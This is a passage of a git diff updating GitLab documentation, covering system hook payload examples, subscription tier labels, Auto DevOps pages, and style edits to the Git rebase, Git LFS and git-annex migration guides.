is blocked via LDAP, `state` is `ldap_blocked`. "updated_at": "2012-07-21T07:38:22Z", "event_name": "group_create", "name": "StoreCloud", - "owner_email": null, - "owner_name": null, "path": "storecloud", "group_id": 78 } ``` -`owner_name` and `owner_email` are always `null`. Please see <https://gitlab.com/gitlab-org/gitlab/-/issues/20011>. - **Group removed:** ```json @@ -317,15 +324,11 @@ If the user is blocked via LDAP, `state` is `ldap_blocked`. "updated_at": "2012-07-21T07:38:22Z", "event_name": "group_destroy", "name": "StoreCloud", - "owner_email": null, - "owner_name": null, "path": "storecloud", "group_id": 78 } ``` -`owner_name` and `owner_email` are always `null`. Please see [issue #20011](https://gitlab.com/gitlab-org/gitlab/-/issues/20011). - **Group renamed:** ```json @@ -337,15 +340,11 @@ If the user is blocked via LDAP, `state` is `ldap_blocked`. "path": "better-name", "full_path": "parent-group/better-name", "group_id": 64, - "owner_name": null, - "owner_email": null, "old_path": "old-name", "old_full_path": "parent-group/old-name" } ``` -`owner_name` and `owner_email` are always `null`. Please see <https://gitlab.com/gitlab-org/gitlab/-/issues/20011>. - **New Group Member:** ```json diff --git a/doc/telemetry/index.md b/doc/telemetry/index.md deleted file mode 100644 index b3b3b0b4fdd..00000000000 --- a/doc/telemetry/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/' ---- - -This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/telemetry/snowplow.md b/doc/telemetry/snowplow.md deleted file mode 100644 index 709c61b9e64..00000000000 --- a/doc/telemetry/snowplow.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../development/snowplow.md' ---- - -This document was moved to [another location](../development/snowplow.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/topics/airgap/index.md b/doc/topics/airgap/index.md deleted file mode 100644 index 3866ec50253..00000000000 --- a/doc/topics/airgap/index.md +++ /dev/null @@ -1,3 +0,0 @@ ---- -redirect_to: '../offline/index.md' ---- diff --git a/doc/topics/authentication/index.md b/doc/topics/authentication/index.md index 0e51042193c..1988e3e2890 100644 --- a/doc/topics/authentication/index.md +++ b/doc/topics/authentication/index.md @@ -33,8 +33,8 @@ This page gathers all the resources for the topic **Authentication** within GitL - [Atlassian Crowd OmniAuth Provider](../../administration/auth/crowd.md) - [CAS OmniAuth Provider](../../integration/cas.md) - [SAML OmniAuth Provider](../../integration/saml.md) - - [SAML for GitLab.com Groups](../../user/group/saml_sso/index.md) **(SILVER ONLY)** - - [SCIM user provisioning for GitLab.com Groups](../../user/group/saml_sso/scim_setup.md) **(SILVER ONLY)** + - [SAML for GitLab.com Groups](../../user/group/saml_sso/index.md) **(PREMIUM SAAS)** + - [SCIM user provisioning for GitLab.com Groups](../../user/group/saml_sso/scim_setup.md) **(PREMIUM SAAS)** - [Okta SSO provider](../../administration/auth/okta.md) - [Kerberos integration (GitLab EE)](../../integration/kerberos.md) **(STARTER)** @@ -42,12 +42,16 @@ This page gathers all the resources for the topic **Authentication** within GitL - [OAuth 2 Tokens](../../api/README.md#oauth2-tokens) - [Personal access tokens](../../api/README.md#personalproject-access-tokens) -- [Project access tokens](../../api/README.md#personalproject-access-tokens) **(CORE ONLY)** +- [Project access tokens](../../api/README.md#personalproject-access-tokens) **(FREE SELF)** - [Impersonation tokens](../../api/README.md#impersonation-tokens) - [GitLab as an OAuth2 provider](../../api/oauth2.md#gitlab-as-an-oauth2-provider) ## Third-party resources +<!-- vale gitlab.Spelling = NO --> + - [Kanboard Plugin GitLab Authentication](https://github.com/kanboard/plugin-gitlab-auth) - [Jenkins GitLab OAuth Plugin](https://wiki.jenkins.io/display/JENKINS/GitLab+OAuth+Plugin) - [OKD - Configuring Authentication and User Agent](https://docs.okd.io/3.11/install_config/configuring_authentication.html#GitLab) + +<!-- vale gitlab.Spelling = YES -->
\ No newline at end of file diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md index 0d4f86f1284..b7f2a0768ef 100644 --- a/doc/topics/autodevops/customize.md +++ b/doc/topics/autodevops/customize.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Customizing Auto DevOps +# Customizing Auto DevOps **(FREE)** While [Auto DevOps](index.md) provides great defaults to get you started, you can customize almost everything to fit your needs. Auto DevOps offers everything from custom @@ -136,7 +136,7 @@ repository or by specifying a project variable: file in it, Auto DevOps detects the chart and uses it instead of the [default chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app), enabling you to control exactly how your application is deployed. -- **Project variable** - Create a [project variable](../../ci/variables/README.md#gitlab-cicd-environment-variables) +- **Project variable** - Create a [project CI/CD variable](../../ci/variables/README.md) `AUTO_DEVOPS_CHART` with the URL of a custom chart to use, or create two project variables: `AUTO_DEVOPS_CHART_REPOSITORY` with the URL of a custom chart repository, and `AUTO_DEVOPS_CHART` with the path to the chart. @@ -163,7 +163,7 @@ to override the default chart values by setting `HELM_UPGRADE_EXTRA_ARGS` to `-- You can customize the `helm upgrade` command used in the [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image) by passing options to the command with the `HELM_UPGRADE_EXTRA_ARGS` variable. For example, set the value of `HELM_UPGRADE_EXTRA_ARGS` to `--no-hooks` to disable -pre and post upgrade hooks when the command is executed. +pre-upgrade and post-upgrade hooks when the command is executed. See [the official documentation](https://helm.sh/docs/helm/helm_upgrade/) for the full list of options. @@ -171,7 +171,7 @@ list of options. ## Custom Helm chart per environment You can specify the use of a custom Helm chart per environment by scoping the environment variable -to the desired environment. See [Limiting environment scopes of variables](../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables). +to the desired environment. See [Limiting environment scopes of variables](../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables). ## Customizing `.gitlab-ci.yml` @@ -357,7 +357,7 @@ applications. NOTE: After you set up your replica variables using a -[project variable](../../ci/variables/README.md#gitlab-cicd-environment-variables), +[project CI/CD variable](../../ci/variables/README.md), you can scale your application by redeploying it. WARNING: @@ -376,7 +376,7 @@ The following table lists variables related to the database. | `POSTGRES_ENABLED` | Whether PostgreSQL is enabled. Defaults to `true`. Set to `false` to disable the automatic deployment of PostgreSQL. | | `POSTGRES_USER` | The PostgreSQL user. Defaults to `user`. Set it to use a custom username. | | `POSTGRES_PASSWORD` | The PostgreSQL password. Defaults to `testing-password`. Set it to use a custom password. | -| `POSTGRES_DB` | The PostgreSQL database name. Defaults to the value of [`$CI_ENVIRONMENT_SLUG`](../../ci/variables/README.md#predefined-environment-variables). Set it to use a custom database name. | +| `POSTGRES_DB` | The PostgreSQL database name. Defaults to the value of [`$CI_ENVIRONMENT_SLUG`](../../ci/variables/README.md#predefined-cicd-variables). Set it to use a custom database name. | | `POSTGRES_VERSION` | Tag for the [`postgres` Docker image](https://hub.docker.com/_/postgres) to use. Defaults to `9.6.16` for tests and deployments as of GitLab 13.0 (previously `9.6.2`). If `AUTO_DEVOPS_POSTGRES_CHANNEL` is set to `1`, deployments uses the default version `9.6.2`. | ### Disable jobs diff --git a/doc/topics/autodevops/img/alexj_autodevops_min_v13_8.png b/doc/topics/autodevops/img/alexj_autodevops_min_v13_8.png Binary files differnew file mode 100644 index 00000000000..7dc37737835 --- /dev/null +++ b/doc/topics/autodevops/img/alexj_autodevops_min_v13_8.png diff --git a/doc/topics/autodevops/img/kai_autodevops_min_v13_8.png b/doc/topics/autodevops/img/kai_autodevops_min_v13_8.png Binary files differnew file mode 100644 index 00000000000..fa3ab4c1820 --- /dev/null +++ b/doc/topics/autodevops/img/kai_autodevops_min_v13_8.png diff --git a/doc/topics/autodevops/index.md b/doc/topics/autodevops/index.md index 78be67a5196..d95e5568e0b 100644 --- a/doc/topics/autodevops/index.md +++ b/doc/topics/autodevops/index.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Auto DevOps +# Auto DevOps **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37115) in GitLab 10.0. > - Generally available on GitLab 11.0. @@ -37,6 +37,19 @@ For requirements, read [Requirements for Auto DevOps](requirements.md) for more For a developer's guide, read [Auto DevOps development guide](../../development/auto_devops.md). +### Share your feedback + +As Auto DevOps continues to gain popularity, and lowers the barrier to entry for +getting started with DevOps and CI/CD, see what our wider community is saying: + +From [AlexJonesax](https://twitter.com/AlexJonesax) and [KaiPMDH](https://twitter.com/KaiPMDH) on Twitter: + + + + + +We welcome everyone to [share your experience by tagging GitLab on Twitter](https://twitter.com/gitlab). + ## Enabled by default > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41729) in GitLab 11.3. @@ -153,20 +166,10 @@ any of the following places: **Continuous Integration and Delivery** section The base domain variable `KUBE_INGRESS_BASE_DOMAIN` follows the same order of precedence -as other environment [variables](../../ci/variables/README.md#priority-of-environment-variables). +as other environment [variables](../../ci/variables/README.md#priority-of-cicd-variables). If the CI/CD variable is not set and the cluster setting is left blank, the instance-wide **Auto DevOps domain** setting is used if set. -NOTE: -If you use the [GitLab managed app for Ingress](../../user/clusters/applications.md#ingress), -the URL endpoint should be automatically configured for you. All you must do -is use its value for the `KUBE_INGRESS_BASE_DOMAIN` variable. - -NOTE: -`AUTO_DEVOPS_DOMAIN` was [deprecated in GitLab 11.8](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/52363) -and replaced with `KUBE_INGRESS_BASE_DOMAIN`, and removed in -[GitLab 12.0](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56959). - Auto DevOps requires a wildcard DNS A record matching the base domain(s). For a base domain of `example.com`, you'd need a DNS entry like: @@ -283,7 +286,7 @@ used by Auto DevOps currently defines 3 environment names: Those environments are tied to jobs using [Auto Deploy](stages.md#auto-deploy), so except for the environment scope, they must have a different deployment domain. You must define a separate `KUBE_INGRESS_BASE_DOMAIN` variable for each of the above -[based on the environment](../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables). +[based on the environment](../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables). The following table is an example of how to configure the three different clusters: diff --git a/doc/topics/autodevops/quick_start_guide.md b/doc/topics/autodevops/quick_start_guide.md index effdb4d7b75..cd951e53bd1 100644 --- a/doc/topics/autodevops/quick_start_guide.md +++ b/doc/topics/autodevops/quick_start_guide.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Getting started with Auto DevOps +# Getting started with Auto DevOps **(FREE)** This step-by-step guide helps you use [Auto DevOps](index.md) to deploy a project hosted on GitLab.com to Google Kubernetes Engine. @@ -51,7 +51,7 @@ those projects provide a bare-bones application built on some well-known framewo 1. Give your project a name, optionally a description, and make it public so that you can take advantage of the features available in the - [GitLab Gold plan](https://about.gitlab.com/pricing/#gitlab-com). + [GitLab Ultimate plan](https://about.gitlab.com/pricing/).  @@ -177,7 +177,7 @@ The jobs are separated into stages: - The `test` job runs unit and integration tests by detecting the language and framework ([Auto Test](stages.md#auto-test)) - The `code_quality` job checks the code quality and is allowed to fail - ([Auto Code Quality](stages.md#auto-code-quality)) **(STARTER)** + ([Auto Code Quality](stages.md#auto-code-quality)) - The `container_scanning` job checks the Docker container if it has any vulnerabilities and is allowed to fail ([Auto Container Scanning](stages.md#auto-container-scanning)) - The `dependency_scanning` job checks if the application has any dependencies diff --git a/doc/topics/autodevops/requirements.md b/doc/topics/autodevops/requirements.md index 824874ed4d4..930938b7571 100644 --- a/doc/topics/autodevops/requirements.md +++ b/doc/topics/autodevops/requirements.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Requirements for Auto DevOps +# Requirements for Auto DevOps **(FREE)** You can set up Auto DevOps for [Kubernetes](#auto-devops-requirements-for-kubernetes), [Amazon Elastic Container Service (ECS)](#auto-devops-requirements-for-amazon-ecs), @@ -46,12 +46,9 @@ To make full use of Auto DevOps with Kubernetes, you need: - **Base domain** (for [Auto Review Apps](stages.md#auto-review-apps), [Auto Deploy](stages.md#auto-deploy), and [Auto Monitoring](stages.md#auto-monitoring)) - You need a domain configured with wildcard DNS, which all of your Auto DevOps - applications use. If you're using the - [GitLab-managed app for Ingress](../../user/clusters/applications.md#ingress), - the URL endpoint is automatically configured for you. - - You must also [specify the Auto DevOps base domain](index.md#auto-devops-base-domain). + You must [specify the Auto DevOps base domain](index.md#auto-devops-base-domain), + which all of your Auto DevOps applications use. This domain must be configured + with wildcard DNS. - **GitLab Runner** (for all stages) diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md index 23ba6ad3356..f1244a1ad1b 100644 --- a/doc/topics/autodevops/stages.md +++ b/doc/topics/autodevops/stages.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Stages of Auto DevOps +# Stages of Auto DevOps **(FREE)** The following sections describe the stages of [Auto DevOps](index.md). Read them carefully to understand how each one works. @@ -135,7 +135,7 @@ might want to use a [custom buildpack](customize.md#custom-buildpacks). ## Auto Code Quality -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1984) in [GitLab Starter](https://about.gitlab.com/pricing/) 9.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1984) in [GitLab](https://about.gitlab.com/pricing/) 9.3. > - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) in GitLab 13.2. Auto Code Quality uses the @@ -378,6 +378,12 @@ deploys with Auto DevOps can undo your changes. Also, if you change something and want to undo it by deploying again, Helm may not detect that anything changed in the first place, and thus not realize that it needs to re-apply the old configuration. +WARNING: +GitLab 14.0 [renews the Auto Deploy template](https://gitlab.com/gitlab-org/gitlab/-/issues/232788). +This might cause an unexpected failure on your Auto DevOps project due to the breaking changes on +the v2 `auto-deploy-image`. Follow [the upgrade guide](upgrading_auto_deploy_dependencies.md#upgrade-guide) +to upgrade your environments before upgrading to GitLab 14.0. + ### GitLab deploy tokens > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/19507) in GitLab 11.0. diff --git a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md index 663060bf59d..5f8dfcdfc05 100644 --- a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md +++ b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md @@ -153,7 +153,7 @@ steps to upgrade to v2: ### Use a specific version of Auto Deploy dependencies -To use a specifc version of Auto Deploy dependencies, specify the previous Auto Deploy +To use a specific version of Auto Deploy dependencies, specify the previous Auto Deploy stable template that contains the [desired version of `auto-deploy-image` and `auto-deploy-app`](#verify-dependency-versions). For example, if the template is bundled in GitLab v13.3, change your `.gitlab-ci.yml` to: @@ -181,7 +181,7 @@ the latest Auto Deploy template into your `.gitlab-ci.yml`: ```yaml include: - template: Auto-DevOps.gitlab-ci.yml - - remote: https://gitlab.com/gitlab-org/gitlab/-/raw/master/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml + - template: Jobs/Deploy.latest.gitlab-ci.yml ``` WARNING: diff --git a/doc/topics/autodevops/upgrading_chart.md b/doc/topics/autodevops/upgrading_chart.md deleted file mode 100644 index 2162969b53e..00000000000 --- a/doc/topics/autodevops/upgrading_chart.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'upgrading_auto_deploy_dependencies.md' ---- - -This document was moved to [another location](upgrading_auto_deploy_dependencies.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/topics/autodevops/upgrading_postgresql.md b/doc/topics/autodevops/upgrading_postgresql.md index 55432ad61fa..a0c4a41f90d 100644 --- a/doc/topics/autodevops/upgrading_postgresql.md +++ b/doc/topics/autodevops/upgrading_postgresql.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Upgrading PostgreSQL for Auto DevOps +# Upgrading PostgreSQL for Auto DevOps **(FREE)** Auto DevOps provides an [in-cluster PostgreSQL database](customize.md#postgresql-database-support) for your application. diff --git a/doc/topics/cron/index.md b/doc/topics/cron/index.md index 5abcc5e1eb1..88f8bd1858f 100644 --- a/doc/topics/cron/index.md +++ b/doc/topics/cron/index.md @@ -64,6 +64,6 @@ More examples of how to write a cron schedule can be found at ## How GitLab parses cron syntax strings -GitLab uses [fugit](https://github.com/floraison/fugit) to parse cron syntax +GitLab uses [`fugit`](https://github.com/floraison/fugit) to parse cron syntax strings on the server and [cron-validate](https://github.com/Airfooox/cron-validate) to validate cron syntax in the browser. diff --git a/doc/topics/git/feature_branch_development.md b/doc/topics/git/feature_branch_development.md index c9fb81600d4..842c39f0bfd 100644 --- a/doc/topics/git/feature_branch_development.md +++ b/doc/topics/git/feature_branch_development.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: how-tos --- -# Develop on a feature branch +# Develop on a feature branch **(FREE)** GitLab values encourage the use of [Minimal Viable Change (MVC)](https://about.gitlab.com/handbook/values/#minimal-viable-change-mvc). However, viable changes are not always small. In such cases, it can help to set up a dedicated feature branch. diff --git a/doc/topics/git/git_rebase.md b/doc/topics/git/git_rebase.md index 6a4608223b4..bf77ba3272c 100644 --- a/doc/topics/git/git_rebase.md +++ b/doc/topics/git/git_rebase.md @@ -6,7 +6,7 @@ type: concepts, howto description: "Introduction to Git rebase, force-push, and resolving merge conflicts through the command line." --- -# Introduction to Git rebase, force-push, and merge conflicts +# Introduction to Git rebase, force-push, and merge conflicts **(FREE)** This guide helps you to get started with rebasing, force-pushing, and fixing merge conflicts locally. @@ -69,7 +69,7 @@ changes by resetting `my-feature-branch` against `my-feature-branch-backup`: ``` Note that if you added changes to `my-feature-branch` after creating the backup branch, -you will lose them when resetting. +you lose them when resetting. ### Regular rebase @@ -116,7 +116,7 @@ example, `release-10-3`. You can also replace `origin` with other remote repositories, for example, `upstream`. To check what remotes you have linked to your local repository, you can run `git remote -v`. -If there are [merge conflicts](#merge-conflicts), Git will prompt you to fix +If there are [merge conflicts](#merge-conflicts), Git prompts you to fix them before continuing the rebase. To learn more, check Git's documentation on [rebasing](https://git-scm.com/book/en/v2/Git-Branching-Rebasing) @@ -126,13 +126,13 @@ and [rebasing strategies](https://git-scm.com/book/en/v2/Git-Branching-Rebasing) You can use interactive rebase to modify commits. For example, amend a commit message, squash (join multiple commits into one), edit, or delete -commits. It is handy for changing past commit messages, -as well as for organizing the commit history of your branch to keep it clean. +commits. Use a rebase for changing past commit messages, +and organizing the commit history of your branch to keep it clean. NOTE: If you want to keep the default branch commit history clean, you don't need to -manually squash all your commits before merging every merge request; -with [Squash and Merge](../../user/project/merge_requests/squash_and_merge.md) +manually squash all your commits before merging every merge request. +With [Squash and Merge](../../user/project/merge_requests/squash_and_merge.md), GitLab does it automatically. When you want to change anything in recent commits, use interactive @@ -155,16 +155,17 @@ For example, if you're using [Vim](https://www.vim.org/) as the text editor in a macOS's `ZSH` shell, and you want to **squash** all the three commits (join them into one): -1. Press <kbd>i</kbd> on your keyboard to switch to Vim's editing mode. +1. Press <!-- vale gitlab.FirstPerson = NO --> <kbd>i</kbd> <!-- vale gitlab.FirstPerson = YES --> + on your keyboard to switch to Vim's editing mode. 1. Navigate with your keyboard arrows to edit the **second** commit keyword from `pick` to `squash` (or `s`). Do the same to the **third** commit. The first commit should be left **unchanged** (`pick`) as we want to squash the second and third into the first. -1. Press <kbd>Esc</kbd> to leave the editing mode. +1. Press <kbd>Escape</kbd> to leave the editing mode. 1. Type `:wq` to "write" (save) and "quit". 1. Git outputs the commit message so you have a chance to edit it: - - All lines starting with `#` will be ignored and not included in the commit - message. Everything else will be included. + - All lines starting with `#` are ignored and not included in the commit + message. Everything else is included. - To leave it as it is, type `:wq`. To edit the commit message: switch to the editing mode, edit the commit message, and save it as you just did. 1. If you haven't pushed your commits to the remote branch before rebasing, @@ -180,8 +181,8 @@ for a deeper look into interactive rebase. ## Force-push When you perform more complex operations, for example, squash commits, reset or -rebase your branch, you'll have to _force_ an update to the remote branch, -since these operations imply rewriting the commit history of the branch. +rebase your branch, you must _force_ an update to the remote branch. +These operations imply rewriting the commit history of the branch. To force an update, pass the flag `--force` or `-f` to the `push` command. For example: @@ -267,6 +268,6 @@ To fix conflicts locally, you can use the following method: Up to this point, you can run `git rebase --abort` to stop the process. Git aborts the rebase and rolls back the branch to the state you had before running `git rebase`. - Once you run `git rebase --continue` the rebase **cannot** be aborted. + After you run `git rebase --continue` the rebase **cannot** be aborted. 1. [Force-push](#force-push) to your remote branch. diff --git a/doc/topics/git/how_to_install_git/index.md b/doc/topics/git/how_to_install_git/index.md index 5979cad1c0e..17c5f31705f 100644 --- a/doc/topics/git/how_to_install_git/index.md +++ b/doc/topics/git/how_to_install_git/index.md @@ -6,7 +6,7 @@ description: 'This article describes how to install Git on macOS, Ubuntu Linux a type: howto --- -# Installing Git +# Installing Git **(FREE)** To begin contributing to GitLab projects, you will need to install the Git client on your computer. diff --git a/doc/topics/git/index.md b/doc/topics/git/index.md index cc4e546a244..52e8a42de76 100644 --- a/doc/topics/git/index.md +++ b/doc/topics/git/index.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: index --- -# Git +# Git **(FREE)** Git is a [free and open source](https://git-scm.com/about/free-and-open-source) distributed version control system designed to handle everything from small to diff --git a/doc/topics/git/lfs/index.md b/doc/topics/git/lfs/index.md index 6179175b4cd..14bb28d2477 100644 --- a/doc/topics/git/lfs/index.md +++ b/doc/topics/git/lfs/index.md @@ -6,7 +6,7 @@ type: reference, howto disqus_identifier: 'https://docs.gitlab.com/ee/workflow/lfs/lfs/index.html' --- -# Git Large File Storage (LFS) +# Git Large File Storage (LFS) **(FREE)** Managing large files such as audio, video and graphics files has always been one of the shortcomings of Git. The general recommendation is to not have Git repositories @@ -14,13 +14,13 @@ larger than 1GB to preserve performance.  -An LFS icon is shown on files tracked by Git LFS to denote if a file is stored -as a blob or as an LFS pointer. +Files tracked by Git LFS display an icon to indicate if the file is stored as a +blob or an LFS pointer. ## How it works Git LFS client talks with the GitLab server over HTTPS. It uses HTTP Basic Authentication -to authorize client requests. Once the request is authorized, Git LFS client receives +to authorize client requests. After the request is authorized, Git LFS client receives instructions from where to fetch or where to push the large file. ## GitLab server configuration @@ -35,18 +35,18 @@ Documentation for GitLab instance administrators is under [LFS administration do ## Known limitations -- Git LFS v1 original API is not supported since it was deprecated early in LFS - development -- When SSH is set as a remote, Git LFS objects still go through HTTPS -- Any Git LFS request will ask for HTTPS credentials to be provided so a good Git - credentials store is recommended -- Git LFS always assumes HTTPS so if you have GitLab server on HTTP you will have - to add the URL to Git configuration manually (see [troubleshooting](#troubleshooting)) +- Git LFS v1 original API is not supported, because it was deprecated early in LFS + development. +- When SSH is set as a remote, Git LFS objects still go through HTTPS. +- Any Git LFS request asks for HTTPS credentials to be provided so a good Git + credentials store is recommended. +- Git LFS always assumes HTTPS so if you have GitLab server on HTTP you must + [add the URL to Git configuration manually](#troubleshooting). NOTE: With 8.12 GitLab added LFS support to SSH. The Git LFS communication still goes over HTTP, but now the SSH client passes the correct credentials -to the Git LFS client, so no action is required by the user. +to the Git LFS client. No action is required by the user. ## Using Git LFS @@ -60,8 +60,8 @@ git lfs install # initialize the Git LFS project git lfs track "*.iso" # select the file extensions that you want to treat as large files ``` -Once a certain file extension is marked for tracking as a LFS object you can use -Git as usual without having to redo the command to track a file with the same extension: +After you mark a file extension for tracking as a LFS object you can use +Git as usual without redoing the command to track a file with the same extension: ```shell cp ~/tmp/debian.iso ./ # copy a large file into the current directory @@ -71,7 +71,7 @@ git push origin master # sync the git repo and large file to the ``` **Make sure** that `.gitattributes` is tracked by Git. Otherwise Git -LFS will not be working properly for people cloning the project: +LFS doesn't work properly for people cloning the project: ```shell git add .gitattributes @@ -93,8 +93,8 @@ that are on the remote repository, such as for a branch from origin: git lfs fetch origin master ``` -Make sure your files aren't listed in `.gitignore`, otherwise, they will be ignored by Git thus will not -be pushed to the remote repository. +Make sure your files aren't listed in `.gitignore`, otherwise, they are ignored by Git +and are not pushed to the remote repository. ### Migrate an existing repository to Git LFS @@ -178,7 +178,7 @@ available to the project anymore. Probably the object was removed from the serve ### Invalid status for `<url>` : 501 -Git LFS will log the failures into a log file. +Git LFS logs the failures into a log file. To view this log file, while in project directory: ```shell @@ -201,12 +201,19 @@ If the status `error 501` is shown, it is because: remove the line and try to update your Git LFS client. Only version 1.0.1 and newer are supported. +<!-- vale gitlab.Spelling = NO --> + ### getsockopt: connection refused -If you push a LFS object to a project and you receive an error similar to: -`Post <URL>/info/lfs/objects/batch: dial tcp IP: getsockopt: connection refused`, +<!-- vale gitlab.Spelling = YES --> + +If you push an LFS object to a project and receive an error like this, the LFS client is trying to reach GitLab through HTTPS. However, your GitLab -instance is being served on HTTP. +instance is being served on HTTP: + +```plaintext +Post <URL>/info/lfs/objects/batch: dial tcp IP: getsockopt: connection refused +``` This behavior is caused by Git LFS using HTTPS connections by default when a `lfsurl` is not set in the Git configuration. @@ -222,10 +229,10 @@ git config --add lfs.url "http://gitlab.example.com/group/project.git/info/lfs" NOTE: With 8.12 GitLab added LFS support to SSH. The Git LFS communication still goes over HTTP, but now the SSH client passes the correct credentials -to the Git LFS client, so no action is required by the user. +to the Git LFS client. No action is required by the user. -Given that Git LFS uses HTTP Basic Authentication to authenticate the user pushing -the LFS object on every push for every object, user HTTPS credentials are required. +Git LFS authenticates the user with HTTP Basic Authentication on every push for +every object, so user HTTPS credentials are required. By default, Git has support for remembering the credentials for each repository you use. This is described in [Git credentials man pages](https://git-scm.com/docs/gitcredentials). @@ -237,7 +244,7 @@ which you expect to push the objects: git config --global credential.helper 'cache --timeout=3600' ``` -This will remember the credentials for an hour after which Git operations will +This remembers the credentials for an hour, after which Git operations require re-authentication. If you are using OS X you can use `osxkeychain` to store and encrypt your credentials. @@ -258,7 +265,7 @@ If you are storing LFS files outside of GitLab you can disable LFS on the projec It is possible to host LFS objects externally by setting a custom LFS URL with `git config -f .lfsconfig lfs.url https://example.com/<project>.git/info/lfs`. -You might choose to do this if you are using an appliance like a Sonatype Nexus to store LFS data. If you choose to use an external LFS store, -GitLab will not be able to verify LFS objects which means that pushes will fail if you have GitLab LFS support enabled. +You might choose to do this if you are using an appliance like a <!-- vale gitlab.Spelling = NO --> Sonatype Nexus <!-- vale gitlab.Spelling = YES --> to store LFS data. If you choose to use an external LFS store, +GitLab can't verify LFS objects. Pushes then fail if you have GitLab LFS support enabled. -To stop push failure, LFS support can be disabled in the [Project settings](../../../user/project/settings/index.md). This means you will lose GitLab LFS value-adds (Verifying LFS objects, UI integration for LFS). +To stop push failure, LFS support can be disabled in the [Project settings](../../../user/project/settings/index.md), which also disables GitLab LFS value-adds (Verifying LFS objects, UI integration for LFS). diff --git a/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md b/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md index 3bd754aabfb..3b3f1c0b46f 100644 --- a/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md +++ b/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# Migration guide from Git Annex to Git LFS +# Migration guide from Git Annex to Git LFS **(FREE)** WARNING: Git Annex support [has been removed](https://gitlab.com/gitlab-org/gitlab/-/issues/1648) in GitLab Enterprise @@ -37,9 +37,9 @@ ones that GitLab developed. ## Migration steps -Since Git Annex files are stored in a sub-directory of the normal repositories -(`.git/annex/objects`) and LFS files are stored outside of the repositories, -they are not compatible as they are using a different scheme. Therefore, the +Git Annex files are stored in a sub-directory of the normal repositories +(`.git/annex/objects`) and LFS files are stored outside of the repositories. +The two aren't compatible as they are using a different scheme. Therefore, the migration has to be done manually per repository. There are basically two steps you need to take in order to migrate from Git @@ -74,17 +74,17 @@ Fire up a terminal, navigate to your Git repository and: ### Disabling Git Annex in your repository Before changing anything, make sure you have a backup of your repository first. -There are a couple of ways to do that, but you can simply clone it to another +There are a couple of ways to do that, but you can clone it to another local path and maybe push it to GitLab if you want a remote backup as well. -Here you'll find a guide on -[how to back up a **git-annex** repository to an external hard drive](https://www.thomas-krenn.com/en/wiki/Git-annex_Repository_on_an_External_Hard_Drive). +A guide on +[how to back up a **git-annex** repository to an external hard drive](https://www.thomas-krenn.com/en/wiki/Git-annex_Repository_on_an_External_Hard_Drive) is also available. -Since Annex files are stored as objects with symlinks and cannot be directly +Because Annex files are stored as objects with symlinks and cannot be directly modified, we need to first remove those symlinks. NOTE: Make sure the you read about the [`direct` mode](https://git-annex.branchable.com/direct_mode/) as it contains -useful information that may fit in your use case. Note that `annex direct` is +information that may fit in your use case. The `annex direct` command is deprecated in Git Annex version 6, so you may need to upgrade your repository if the server also has Git Annex 6 installed. Read more in the [Git 